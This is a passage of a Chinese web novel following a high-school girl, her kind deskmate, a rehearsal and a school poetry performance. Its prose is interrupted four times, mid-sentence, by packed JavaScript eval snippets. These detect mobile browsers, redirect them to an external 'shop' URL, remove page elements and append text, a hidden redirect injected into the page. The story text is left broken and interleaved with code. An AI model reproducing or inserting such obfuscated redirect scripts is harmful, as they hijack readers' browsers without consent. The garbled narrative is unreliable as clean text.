她目送着顾临钊离开的背影,内心忽然有点五味杂陈。 她这个同桌,是真的有点善良过头了。 她不明白,世界上怎么会有这么善良的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060441|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在学校看见她心情不好会给她买奶茶,在别的城市偶遇了会帮她撑伞,关心她膝盖的伤口,甚至比她本人都急。 现在知道她不吃饭还出去给她买饭。 这样的好人,傅弦音衷心祝愿他可以健健康康地活到一百二十岁。 窗外的雨还在下,傅弦音漫无目的地看着这条熟悉地不能再熟悉的街道。 突然,她的目光和窗外的一道身影对视。 那道身影原本已经路过奶茶店了,却在看到她的那一瞬间又绕了回来,他黏腻的眼神在傅弦音身上徘徊,而后直直进了奶茶店。 傅弦音皱了皱眉头,下意识把顾临钊那杯奶茶也圈到了自己这边。 吴嘉程进了奶茶店就直奔傅弦音而来。 他不客气地在傅弦音对面坐下,笑嘻嘻道:“我还以为你这辈子都不会出现了呢,怎么,消失的这一周干什么去了?” 傅弦音弯着笑眼,毫不客气道:“上次揍你的都忘干净了?见过有人上赶着要饭的,还没见过有人上赶着挨揍的。” 吴嘉程的笑僵在了脸上。 上次傅弦音堵在他翻墙逃课的地方直接把他揍了一顿,揍他不说,揍完之后还专门跟老师告状说是亲眼看着他从墙上摔下来的。 偏偏老师还就信傅弦音那一套。 最后他算是他逃课未遂,回家反省三天外加在国旗下检讨。 他盯着傅弦音,声音阴沉:“我听说你转学了?你信不信,只要我想,不管你转到哪里,我都能让你名声败坏。让所有人都知道你傅弦音只是在装乖,私底下什么骚浪贱的都来者不拒。” 傅弦音挑挑眉,反唇相讥:“好啊,那你信不信,只要你再来找我一次,我就把你揍得一个月下不来床?” 才和顾临钊那种好人相处完,对比之下,傅弦音现在对吴嘉程的恶心程度比以往更甚。 她靠在椅子里,屈起手指,敲了敲桌面:“你也知道我转学了,那我在临澜也不用装乖了。你再不走,我就把你揍得爬不起来,就在这里,让所有人都看到,你信不信?” 吴嘉程脸色一白,他撂下一句“你给我等着”后,匆匆离开了。 傅弦音嗤笑一声。 她知道吴嘉程所谓的“整她”是什么意思,无外乎就是散布谣言,再造她黄谣,说些侮辱之类的话。 这种话,有人信就有人不信。同学对她的看法傅弦音一向不怎么在意,只要她成绩够好,在老师那里够乖,老师就不会信这种屁话。 只要老师不信,陈慧梅就不会发疯。 只是不在意归不在意,但面对吴嘉程这种人,傅弦音的心情还是不可避免地会变差。 奶茶店外,买了关东煮和饭团的顾临钊看着窗边的女孩,不解地皱起了眉头。 不是,他不过就是去买了个饭,走的时候人还好好的,这才几分钟,怎么情绪又不好了? 12. 疗养院 热腾腾的关东煮还冒着热气,饭团是专门用微波炉加热过的。 傅弦音咬着鱼丸,说出了第不知道多少遍的话:“谢谢班长。” 顾临钊抿了口杨枝甘露,道:“吃吧,不够再给你买。” 傅弦音:…… 顾临钊统共买了三个饭团和三盒关东煮。 傅弦音都怀疑他是不是把便利店每一样关东煮都点了一份。 她是一天没吃饭没错,倒也不至于这么饿。 傅弦音在这边吃,对面的顾临钊就在玩手机,时不时抬眼看看她吃的怎么样,而后又低下头去。 两人没说话,气氛却也并不尴尬。 几乎是咽掉最后一口饭团的同时,顾临钊抬眼看她:“吃完了?” 傅弦音点点头。 顾临钊将手机聊天界面推到傅弦音眼皮子底下,道:“程昭昭找你。” 傅弦音低头看聊天记录。 下午16:48. 程昭昭: [下周三文艺汇演要彩排。] 下午17:16. 顾临钊: [OK。] 晚上20:07 程昭昭: [音音没回我消息,彩排要穿礼服,你俩明天去看看租一身。] [你记得跟她也说声啊。] 晚上20:14 顾临钊: [OK。] 傅弦音赶紧看手机。 她微信一直设置的都是微信未打开时系统消息不通知,此刻打开微信,手机叮叮咚咚响了一串。 傅弦音先点开了程昭昭的聊天框。 程昭昭: [音音,你作业写怎么样了?] [好难啊啊啊啊,怎么这么难啊啊啊啊啊啊] [哭哭.jpg] [对了,下周三文艺汇演彩排,你别忘了。] [呜呜呜啊啊啊我真的真的真的不想写作业。] [彩排还要穿礼服!宝你跟顾临钊找时间去租一套,或者明天我陪你去也行!] [哦忘了,你明天不在北川。] [对了,林安旭跟我说顾临钊也在临澜,你俩正好明天可以去看看。] [不过在临澜租的话回来也要回临澜换,怪麻烦的哎。] 傅弦音赶紧回: [呜呜呜抱歉我下午没看手机] [小狗落泪.jpg] 程昭昭秒回: [没事音音!你看到了就行!] 傅弦音: [嗯嗯,看到啦。] [我跟顾临钊在临澜碰到了,礼服的事我这两天搞定!] 程昭昭: [好耶!] [有啥事你就给我说。] 傅弦音: [嗯嗯。] 回完程昭昭的消息,傅弦音往下划了划,发现傅叶阳也给她发了消息,约她明天吃饭。 傅弦音没说她在临澜,只说她明天有事,下次再约。 回完消息再抬头,傅弦音发现顾临钊已经将饭团和关东煮的包装袋都收好放塑料袋里了。 他将塑料袋系好,问道:“礼服的事,你明天下午有空吗?” 而后他又补充道:“在临澜租了可以寄回来还,如果明天不租估计要周一或者周二晚自习请假去租,或者你想买也行。” 傅弦音:“买吧。” 租还要还,怪麻烦的。 她看了眼时间,还不到8点半,临澜市有几家商场也没关。她看了眼窗外,原本豆大似的雨点也笑了不少,现在只剩下淅淅沥沥的毛毛雨。 她说道:“要不现在去买?” 顾临钊:“好,走吧。” 直到上了车,傅弦音才后知后觉反应过来,顾临钊怎么就这么自然而然地跟她一块去买礼服去了。 而她居然也没拒绝,甚至还有点…… 习惯? 明明和顾临钊才认识不到一个星期,她怎么会用到这个词。 是她语文变差了吗?果然,太久不学习,不光理科的题做不出来,语文遣词造句也出问题了。 她扭头看向窗外,心里有些奇妙的滋味。 临澜不比北川繁华,但到了晚上,宽阔的澜河两侧华灯渐起,交错的大楼鳞次栉比,辉煌的灯火将乌黑沉静的澜河点亮,与横跨澜河的座座搭桥交相呼应着。 这是北川看不到的景。 也是傅弦音看了十多年的景。 车子行驶过大桥,缓缓在河对岸停下,傅弦音向司机道了声谢,下车拉着行李箱进了商场。 她轻车熟路地走上电梯,顾临钊就在她身侧跟着,看着傅弦音目的明确地按了3楼的按钮。 叮咚—— 电梯门打开,傅弦音才刚走了两步,就听见身侧传来一道熟悉的声音: “临钊?” 傅弦音回头,看见顾临钊的大伯母拎着满手的袋子,笑着朝他们走来: “我来给你小姑买点东西,你不是说去河边吗?怎么过来了。” 顾临钊:“在河边碰到她了,我们下周文艺汇演有节目,陪她来买个礼服。” 傅弦音乖乖道:“阿姨好。” “你好你好。” 邹玉琴笑着看向面前的小姑娘。 经了昨天一通脑补,邹玉琴越看傅弦音越喜欢,她笑眯眯地道:“阿姨刚才看到有几家店都挺适合你的,我们过去看看。” 傅弦音甜甜地笑着,点点头:“好,谢谢阿姨。” 不得不说,邹玉琴的眼光很不错,甚至审美和傅弦音都极为相似。 她帮傅弦音选的几条礼服傅弦音都很喜欢,傅弦音掏出手机,拍下照片给程昭昭发了过去。 傅弦音: [我在挑礼服,你觉得这三条哪个好看?] 程昭昭秒回: [我靠!音音你美死了!] [呜呜呜都好看,我没办法亲眼见到你穿这三条裙子是我的损失。] [对不起宝贝,你太美了,我挑不出来。] 傅弦音看着程昭昭一条条消息,笑弯了眼。 她划了一遍照片,快速做了决定:“那就这条白色的吧。” 邹玉琴也点头:“好,我其实也喜欢这个,这条显得人也贵气。” 傅弦音干脆利落地结账,拎着打包好的袋子,旁边的邹玉琴主动挽着她的手,两人一起走了出去。 一路上,邹玉琴嘴就没停过。 问她在北川过的怎么样,适不适应学校,有没有遇到什么困难。 甚至车子到了静远酒店,邹玉琴都还想送傅弦音上去。 傅弦音赶忙道:“不用了阿姨,我自己上去就行了,时间不早了,你们也赶紧回去休息吧。” 邹玉琴降下车窗,道:“好,你回去也早点休息,那我们明天机场见。” 走了没几步,傅弦音兜里的手机忽然震了震。 她本以为是程昭昭,想着上楼再回。谁知到了酒店打开手机,点进微信,发现竟然是顾临钊。 顾临钊: [抱歉,我大伯母就是比较自来熟。] 他指的是一路上拉着傅弦音絮絮叨叨的事。 傅弦音: [没事,阿姨挺喜欢我,我也挺喜欢阿姨的。] [通常来讲吧,长辈一般都挺喜欢我的。] 她又发了个调皮猫猫表情包。 顾临钊看着那只吐舌头的小猫,弯了弯唇角。 傅弦音说的倒都是实话。 邹玉琴虽然一直絮絮叨叨,可问题问的都很有分寸,她没问傅弦音家庭,也没问她是临澜人怎么回临澜还自己一个人住酒店,甚至连顾临钊是怎么在河边偶遇她的都没问。 每一个问题的落点都在关心傅弦音上,这是傅弦音能感受出来的。 因此她虽然有些不习惯,却并没有不喜欢。 柔软的大床包裹了她,迷迷糊糊中,傅弦音忽然在想,原来顾临钊家里的长辈也是这么善良,那不奇怪顾临钊也这么善良了。 * 次日,清晨。 傅弦音定了个8点的闹钟,洗漱之后,打车去菜市场买了点新鲜的水果,又去路边花店买了一束花,而后直奔疗养院。 疗养院在临澜市比较偏远的地方,傅弦音眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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屋内干净整洁,傅弦音将需要清洗的水果放在水池中,又将橘子香蕉类的水果放在茶几上的果篮中。 做好这一切,她扶林逾静在窗边坐下,自己则搬了个小板凳坐在她旁边,问道: “逾静阿姨今天身体怎么样?” “我今天很好的,音音。” 她说着,还晃了晃手上的一条手链:“我嫂子他们刚来过,这是她给我买的手链,怎么样,是不是很好看?” “是。” 傅弦音点头:“很好看,很衬你。” 林逾静听到这话笑得更开心。 “逾静阿姨,我转到北川去读书了。” 傅弦音边说边削苹果,林逾静思考地嘟囔着:“北川,好熟悉的地方,那边怎么样,有没有人欺负你呀音音。” 傅弦音将苹果削进碗里:“北川就是逾静阿姨长大的地方呀,那里很好,没有人欺负我,我碰到的都是很善良的人。” 林逾静后知后觉般“喔”了一声:“原来是我长大的地方呀,我记性真是越来越不好了。” “没有,逾静阿姨记性最好了。”傅弦音用牙签插起一块苹果,喂到林逾静嘴里。 她说道:“不过我以后可能没办法经常来看逾静阿姨了。” 林逾静的表情肉眼可见的低落了些许,但紧接着又温和地笑笑:“那弦音要好好照顾自己,在……” “北川。” 傅弦音轻声提醒。 林逾静:“这是我长大的地方哎,弦音去读书吗?我嫂子也是北川人,告诉我嫂子,让他们帮我在北川好好照顾弦音。” 傅弦音眼圈一红,她咬着下唇,压掉嗓子里那点呼之欲出的哽咽:“不用了逾静阿姨,我在北川很好的。” “有人欺负你吗?” “没有,我碰到的人都很善良。” “北川人都很善良,弦音在北川要好好照顾自己。” “不开心了就来找逾静阿姨,逾静阿姨永远爱你。” 13. 彩排 回北川后,日子像开了加速键。 距离月考只有不到两个星期。而在这期间她还要准备文艺汇演。 托了程昭昭的福,和班上同学相处得倒是比想象中要融洽。 程昭昭性格开朗,人缘也好,傅弦音这才转来没多久,在程昭昭的作用下,已经有好几个女生会问诸如要不要一起吃饭回宿舍之类的。 至于她善良的好同桌更是不用说,复印好的笔记在周日晚自习就拿给了傅弦音。 虽然笔记错题本这种东西还是自己总结出来的最好,可是顾临钊学习成绩摆在那里,归纳总结的能力怎么也不会差。 傅弦音用他笔记用得还挺顺手的。 她花了三个晚上,暂时放弃了其它的科目。写完作业之后就开始恶补化学。 终于,在星期三的化学课上,傅弦音开始觉得自己可以跟上进度了。 只是化学老师点人提问时,她还是心里一紧。 这和学习成绩无关。傅弦音心道,这是人类可在基因里的条件反射,没有人会对这种提问无动于衷。 正想着,化学老师在讲台上喊:“都答不上来?班长呢,班长回答一下这个问题。” 傅弦音只感受到自己身边的人平静地起身,平静地回答了问题,而后在老师赞许的眼神下平静的坐下。 傅弦音:…… 她还是坚持自己的想法,没人能无动于衷! 至于顾临钊,那时顾临钊不是人! 为了不占用上课时间,彩排的时间定在了晚自习。 傅弦音下课后和程昭昭去食堂吃饭,打算直接回宿舍换礼服,然后去礼堂排练。 高三学生还是享有一些特权的,比如说中午晚上都会早点放学,和高一高二的学生错开吃饭。 两人吃完饭后,逆着人流,走到宿舍。 这还是程昭昭第一次进傅弦音的宿舍,一进去她就小小地“哇”了一声。 “天哪音音,你自己住也太爽了吧!” 傅弦音从衣柜里拿出礼服,程昭昭去帮她把窗帘拉上,她捂着眼睛走回来:“你换你的,我不看。” 傅弦音好笑道:“看也没关系,都是女孩子。” 程昭昭手指张开一条缝,圆溜溜的眼睛眨呀眨:“真的?那我可就看咯!” 她毫不客气地拿下双手,傅弦音也不害羞,站在寝室中间换礼服。 “天哪音音,你身材真的好好。” 程昭昭伸出爪子戳了戳傅弦音白嫩纤细的腰,带着坏笑的目光落在了她胸前的饱满上。 傅弦音笑着躲程昭昭的手:“别闹,好痒。” 打闹之际,程昭昭看见了傅弦音膝盖上有些骇人的伤疤:“我靠音音,你膝盖怎么这么严重,都一个星期了。” 原本开玩笑的神情收敛,取而代之的是满脸义愤填膺:“我听他们说当时的情况了,肯定是宋瑶歌她不安好心,她当时还好意思指责你,到底谁伤得重啊也不看看。” 傅弦音抿了抿唇。 也不能怪宋瑶歌,本来上周三膝盖上的伤就是她自己磨出来的,此刻看着骇人,也是因为她周六在家摔了一跤。 她道:“没有啦,上周体育课其实不严重,我这是周六回临澜不小心又绊看一下,是这次比较严重。” 她扯扯裙摆:“反正也是长裙,能盖住的。快走啦,再不走晚自习要迟到了。” 程昭昭吐着舌头跟她走出宿舍:“反正顾临钊跟你一起去彩排,也没人扣分,迟到一会也没关系。” 傅弦音拿着数学和物理的习题册去了顶楼小礼堂。 礼堂的环境不适合学习那种困难的学科,傅弦音打算就刷点题保持手感就好。 她在小礼堂内环视一圈,一眼就找到了顾临钊。 明明所有人留给她的都只有一个后脑勺,可傅弦音还是觉得,他同桌就连后脑勺都是最好看的后脑勺。 她抱着书,手里拿了杯在食堂奶茶店买的杨枝甘露,在顾临钊身边坐下。 顾临钊也带了题来刷,见着傅弦音来了,他抬眼看了一眼,自然地朝傅弦音伸出了手,傅弦音也自然地把抱着的书本递过去,而后腾出手放椅子。 两人的互动落入宋瑶歌眼里,她眼底闪过一丝暗色。 傅弦音丝毫不知。 进入做题状态,傅弦音甚至连舞台上彩排的音乐声都听不见了。她的注意力全都在笔下的题目上,一丝一毫多余的心神都分不出来。 不止过了多久,傅弦音感觉到她的胳膊被人碰了碰。 顾临钊往她身边倾了倾,侧过脸低声道:“快到我们了,去后台吧。” “哦,好。”傅弦音盖上笔帽,拿着演讲稿跟着顾临钊上了后台。 顾临钊时间卡得很准,傅弦音刚脱稿顺了一遍诗歌,主持人就喊了他们的名字。 她放下演讲稿,和顾临钊一前一后走上了舞台。 登台的瞬间,傅弦音听见了台下传来阵阵窃窃私语: “哇,这女的谁,好好看。新转来的?” “估计是呢,感觉她比宋瑶歌都好看了,学艺术的吧。” “有一说一家人们,帅哥美女的节目真的对我眼睛很好。” 背景音乐响起,傅弦音看见陈燕表情严肃地扭头说了些什么,那些窃窃私语的声音才低下去。 彩排很顺利,两人稿子背得都很流畅。陈燕在台下看得满脸满意,不住点头。 表演结束,傅弦音回到座位,继续刷题。 她今晚效率很高,彩排还没结束,她的每日任务就完成了。 她拿出数学习题册里夹着的化学试卷,转头看了看身侧的人。 顾临钊察觉到她的视线,写字的手没停,开口道:“先自己看看,等我写完这题。” 傅弦音:“哦。” 她自己看得不能再看了,就是看不懂才问顾临钊。眼下顾临钊也没时间,傅弦音于是抬头开始看节目。 很巧的是,台上刚好轮到了宋瑶歌的节目。 她穿着民族服饰,笑颜如花,在舞台上轻盈地转着圈。 彩色的衣服随着身形摆动飘扬,傅弦音不由得往前凑了凑,想趴到前面座椅上看。 下巴还没搁上去,顾临钊的声音就响了起来:“让你自己先看看,不是让你看这个的” 他抽过傅弦音的试卷,傅弦音收回视线,叹道:“再看也不会啊。” 化学就是她的死穴,相比之下,原本困难的生物都显得没那么困难了。 宋瑶歌的节目已经是末尾了,顾临钊没有完全把步骤给傅弦音讲明白,他只点了个思路,就把试卷还给傅弦音,道:“你再试试。” 傅弦音叹了口气,接过笔,闭了闭眼,还是任命地看向拿到折磨了她好久的题。 顾临钊给的思路不算清晰,他甚至就只是点了两句,给傅弦音提供了一个方向。 傅弦音知道全都靠顾临钊给她讲,她自己没有思考这一步的话,那她上考场必死无疑。 可现在看着这道有点头绪但不多的题,傅弦音只觉得这算是慢性自杀。 她捏着铅笔,许久才在稿纸上试探地写了点什么,然而接着又被她快速擦掉。 顾临钊自己的题也写完了,就歪着脑袋,看着傅弦音。 和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060443|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅弦音同桌的这一个多星期,他对傅弦音的学习状态有所了解。傅弦音是专注力和效率都奇高的类型,一旦学进去了,外界什么风吹草动都听不见。 因此别说察觉不到他的视线了,顾临钊甚至怀疑过,哪怕是地震,他这个同桌都能在桌子前面面不改色心不跳地写卷子。 但这其实是个很好的优点。 尤其是傅弦音还是一个很容易就能进入极专注状态的人。 同样的时间,在奇高的专注力和效率下,傅弦音能比别人多刷好几道题,多记好几个知识点。 这是天赋,而且是泛性很强的天赋。 只要傅弦音想学,只要她打心眼里不排斥这样东西,那么她学什么都会学得很好。 顾临钊看着稿纸上深灰色的字迹逐渐变得清晰、丰富,一道道公式推导下,答案呼之欲出。 他的同桌真的很聪明。 上周化学还属于什么都不会的程度,连老师问的基础问题都答不上来,这才没过多久,她就已经能够在模糊的提示下写出来一些稍微难的题了。 顾临钊的视线从铅笔往上挪,挪到白皙的手指上,又挪到傅弦音认真的小脸上。 不知道是什么心态在作祟,但顾临钊突然有点没来由的骄傲。 为他聪明的同桌骄傲。 彩排结束,陈燕拍了拍手,顾临钊看着傅弦音刚好写下了那个正确的答案,他看着女孩嘴角微微扬起的弧度,也轻笑了一声。 “你笑什么?” 傅弦音回头,莫名地看着顾临钊。 顾临钊:…… 他唇角笑意收拢了些,道:“没什么。彩排结束了,去听听陈老师要说些什么。” 绝大多数节目是在傅弦音来北川一中前就开始排的,到现在排练了也有不短的时间了。 陈燕对这次彩排很满意,她简单嘱咐了几句,就让他们回去了。 回到教室,晚自习放学铃刚好打响,程昭昭收拾好了书包,蹦蹦跳跳过来找傅弦音:“怎么样音音,彩排顺利吗?” “很顺利。”傅弦音比了个大拇指,一旁的林安旭看见她身上的礼服裙,极为捧场道:“哇,美女姐姐变成仙女姐姐了。” “小嘴真甜。”傅弦音收拾好了书包,从桌洞里找到了本来打算下午加餐的乳酪面包,塞给林安旭:“仙女姐姐很高兴,决定送你个面包吃。” 程昭昭挽着傅弦音的手,边往外走边道:“哼,这么好吃的乳酪面包,便宜你了。” 林安旭嘿嘿一笑,咬了一大口面包,把书包甩到肩上,和顾临钊一起,跟着两个女生出了教室。 和这边欢乐的分为不同,宋瑶歌周遭的气压莫名的低。 她沉默着收拾书包,以自己好像有东西落礼堂了为由,拒绝了几个女生和她一起回宿舍邀请。 “那好吧诗诗,那我们先走了。” “明天见啊诗诗。” “明天见。” 宋瑶歌扯出一个勉强的笑。 她身旁,只有一个身形瘦小的女生站着。 纪逐渺道:“诗诗,你说,顾临钊该不会是喜欢傅弦音吧。” 宋瑶歌被戳到了痛点,她呼吸一窒,嘴硬道:“不、不知道,他们才同桌多久,怎么可能。” 纪逐渺说:“可是,今天顾临钊是不是就没看你节目。他和傅弦音在一起,当时傅弦音是不是一直在跟他说话啊?诗诗你说,傅弦音是不是故意的。” 宋瑶歌:“我、我不知道。” 纪逐渺:“而且她俩的关系,总感觉不一般啊。诗诗,你说,傅弦音到底干了什么,能让顾临钊这样对她。” 14. 紧握 礼堂后台。 傅弦音看着闲不下来的程昭昭好笑道:“到底是谁要上台啊,怎么感觉你比我还紧张。” 程昭昭吐出一口气说道:“你还说呢,等会上台那么多人看你,你一点都不紧张吗?” 她看着傅弦音写了一半的卷子,吐槽:“还有心思写卷子。” 傅弦音:“相比之下,下周的月考我更紧张。” 程昭昭叹道:“算啦算啦,学霸的世界我不懂。” 傅弦音笑笑,继续刷题。 她说的是实话,只有一个星期的月考像一座大山一样压着她。这是她转学后的第一次月考,陈慧梅无比重视。 昨天凌晨3点,陈慧梅还给她打了电话,说傅叶阳开学收心考试考了年级第一,说来说去,又绕不过她下周的月考。 傅弦音晃晃脑袋,想要把脑子里陈慧梅尖锐的喊声晃走。 她又刷了一会题,陈燕过来了。 傅弦音起身:“老师好。” 陈燕:“节目准备的怎么样了?” 傅弦音:“我和顾临钊合过很多次了,稿子我们都背得很熟,不会出问题的。” 陈燕的目光落在傅弦音摊开的卷子上,有些五味杂陈。 马上就要文艺汇演了,礼堂下面乱哄哄,后台更是忙成一团。所有人要么紧张地准备,要么检查自己的服装造型。 只有她,在这么杂乱的地方还能找到个小角落专心做题。 第一次见傅弦音时,陈燕下意识地觉得这孩子是个艺术生,长得漂亮不说,舞台经验也有。陈燕当时还在想,这孩子只要文化课凑合,明年高考肯定能上不错的艺术院校。 现在看来,这孩子的文化课应该不仅仅只是凑合的程度了。 陈燕:“其他就没什么了,诗朗诵一般也不会有什么特殊情况。”她视线落在傅弦音脸上,问道:“你这妆怎么这么淡?” 粉底看起来都没上,就用了遮瑕把眼下的黑眼圈遮了遮,涂了个口红完事。 傅弦音笑:“我自己没怎么化过妆,复杂的不太会。” 陈燕:“没找个化妆师?” 傅弦音:“太麻烦了,找化妆师还要出校,出校还要请假。”她又重复了一遍:“太麻烦了。” 陈燕:…… 典型的仗着脸好看。 她叹了口气:“那你过来,我再给你补补。” 傅弦音不好拒绝,只好跟着陈燕去了化妆间。 她皮肤底子很好,细腻白皙,唯一的瑕疵就是熬夜熬出来的黑眼圈,她自己也已经遮掉了。陈燕没给她重新上底妆,只用粉饼按了一遍,就开始上彩妆。 傅弦音眉毛形状不怎么需要修,陈燕象征性地给她涂了点眉粉,高挺的鼻梁也省去了高光阴影的功夫。 陈燕只是给她上了点大地色的眼影,眼线在眼尾微微拖了个小勾,又刷了睫毛,腮红上了薄薄一层。到最后在眼皮和鼻尖处点了点微闪的高光,妆就算画完了。 高光点完,陈燕左看右看,不得不承认一个事实—— 有这么一张脸在,确实不需要找化妆师。 这么说吧,能把这张脸化难看都是个本事。 “谢谢老师。” 傅弦音眨了眨卷翘的睫毛,说道。 陈燕:“行了,再去准备准备,等会如果喝水吃东西了上台前记得补口红。” “好。” 离文艺汇演开始还有15分钟,她的节目在中间靠后的位置,也就是说她还能有不到两个小时的时间。 刚好能写完一张卷子。 傅弦音正犹豫着要不要下楼拿张生物试卷上来,耳边就传来程昭昭的声音: “音音,你化完妆啦?这么快!” 程昭昭蹦蹦跳跳过来,凑近看她,而后捂着嘴道:“呜呜呜好美,美死我算了。” 傅弦音被她逗笑:“我本来就化了嘛,陈老师就帮我化了眼影睫毛,所以快。” 一旁的林安旭也吹彩虹屁:“美女姐姐真变成仙女了!” “小嘴真甜。”傅弦音开玩笑:“不过这次身上没面包,等会回教室给你拿。” 林安旭:“事先声明,我可不是为了乳酪面包,我是真心实意的。” 他看向顾临钊:“对吧钊哥,美女姐姐今天超美!” 傅弦音闻言微微歪头,那双好看的眼睛视线和顾临钊对上。 四目相对的瞬间,顾临钊感觉时间好像变慢了一拍。 女孩柔顺的长发被挽成了公主头,散落的头发似缎子般。原本就白嫩的脸此刻像发着光一样,卷翘睫毛下的那对眼睛如乘了一汪泉水,晶莹剔透。 林安旭半天等不到附和的声音,伸手捅咕顾临钊:“快附和我一下啊钊哥。” 顾临钊眼睛看着那汪泉水,忽然没来由地冒出来一句: “你本来就化了妆?” “什么嘛,钊哥——” 林安旭仰天长叹:“你也不帮我,我真解释不清了。” 程昭昭条件反射般跟他拌嘴:“还不是你这个人本身就不行,你看我,音音从来就不怀疑我。” 两人打闹的声音好似逐渐远去,傅弦音看着顾临钊,笑道:“你这是什么问题。” 顾临钊说完就后悔了 他也不知道自己问了个什么问题。 他就是,在那一瞬间,大脑突然宕机成一片空白。 “化了啊。” 傅弦音突然回答了他的问题:“虽然很淡,但是我遮黑眼圈也涂口红了。” 她笑:“那种程度你看不出来?” 程昭昭在旁边帮腔:“钢铁直男嘛,你化成这种程度他们能看出来就不错了。哎音音,你要回教室拿东西吗?我陪你一起。” “好啊。我回去拿张卷子过来。”傅弦音抱起东西往外走。 林安旭:“那我和钊哥不下去了,你把东西给我,我给你拿着。” 傅弦音没跟他客气,把演讲稿和笔袋之余的递给了林安旭,而后绕过顾临钊,和程昭昭往外走。 后台杂乱,傅弦音过路时往顾临钊那边靠了靠。 顾临钊感觉自己手臂上布料被蹭了蹭,几乎是同时,少女身上淡淡的花香被风裹挟着,涌进他鼻腔。 顾临钊感觉自己的五感像是在那一瞬间突然被放大。 而原本慢了几拍的时间像是在追赶进度,又突然加快了起来。 总之在顾临钊反应过来时,傅弦音和程昭昭已经又回来了。 傅弦音拿着生物笔记和试卷,怀里还堆了两个乳酪面包。 她接过林安旭怀里的演讲稿放在桌上,把面包给林安旭了一个,说道:“诺,嘴甜的奖励。” 另一个面包的包装袋被她细嫩的指尖捏着,在顾临钊眼前晃了晃:“你没夸我,你没有奖励。” 林安旭已经吃开了,看见那个面包,哈哈大笑:“看吧钊哥,兄弟刚才就是在帮你。谁让你不说,现在没面包吃了吧?” 顾临钊:…… 他看着眼前的面包,忽然心有点痒。 他轻声说:“没说不好看。” 傅弦音捏着面包晃啊晃:“没说你说不好看,是说你没说好看。” 顾临钊轻笑:“你说绕口令呢。” 傅弦音白他:“管我说什么。” 她拿着面包正准备去做题,身后忽然传来一句: “很好看。” 傅弦音这才满意地把面包给顾临钊:“看吧,早说早给你了。” 顾临钊接过面包,没说话。 傅弦音以为他在跟她开玩笑,但他没有。 他没有开玩笑,也不是想要面包。 他只是。 以要面包为借口,说了句真心话。 角落,宋瑶歌看着顾临钊捏着面包,退了两步。 纪逐渺安慰她:“他们应该是开玩笑的,诗诗,别难过,如果是你,顾临钊肯定也会说好看。” 宋瑶歌心底直泛酸。 她知道他们是在开玩笑,也知道如果是她要求,以顾临钊的教养,也不会拒绝夸她一句好看。 可是她想要的不是被夸好看,她想要的是那个能和顾临钊开玩笑的权利。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060444|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年的教养对所有人敞开,可那个和他自如开玩笑的权利却是她无论如何也触碰不到的东西。 纪逐渺抿了抿唇,道:“诗诗,我们走吧,马上要文艺汇演了。哎,傅弦音这次真的好出风头,我刚才还被好几个外班的人问有没有她微信。” “明明你也在,干嘛找我加傅弦音微信啊。” “你说,等会傅弦音表演的时候,如果出了什么状况,她会不会出更大的风头。” 嘈杂的声音像被模糊处理,落到傅弦音耳力只剩微弱杂音。 她专心致志地写着卷子,落下最后一个字后抬头。 时间刚好。 她轻轻松了一口气,打算拿着稿子去边走边看。 傅弦音扭了扭有些酸的腰,稿子不小心掉在了地上,她正蹲下捡稿子,就看见宋瑶歌往幕布后面钻。 宋瑶歌听见了她掉稿子的声音,猛地回头,猝不及防和傅弦音四目相对。 傅弦音准备打招呼的手刚举起了一半,就见宋瑶歌提着裙摆跑了。 她有些莫名,也没当回事,给顾临钊发了个消息问他在哪,得到回信后去找他汇合,做登台前最后的准备。 后台在文艺汇演开始后不允许无关人员进入,程昭昭因为是文艺委员,没被赶走。她接过傅弦音和顾临钊的手机以及他们二人的习题,冲两人比了个加油的手势。 傅弦音回了个加油的手势,在主持人报幕后,趁着幕布拉上的时间,和顾临钊双双登台。 舞台上摆好了供二人站着的阶梯,两人站好,幕布拉开,灯光也亮了起来。 光束落在傅弦音身上,刺得她有些睁不开眼。 舞台的灯光,好像比彩排的时候更亮了一些。 傅弦音眉头微皱,用力挣开眼睛。 随着背景音乐,顾临钊先念出了第一句诗。 傅弦音紧随其后。 滚瓜烂熟的稿子几乎可以凭借肌肉记忆背出,两人配合默契,随着慢慢浓烈的情绪,傅弦音音量提高—— 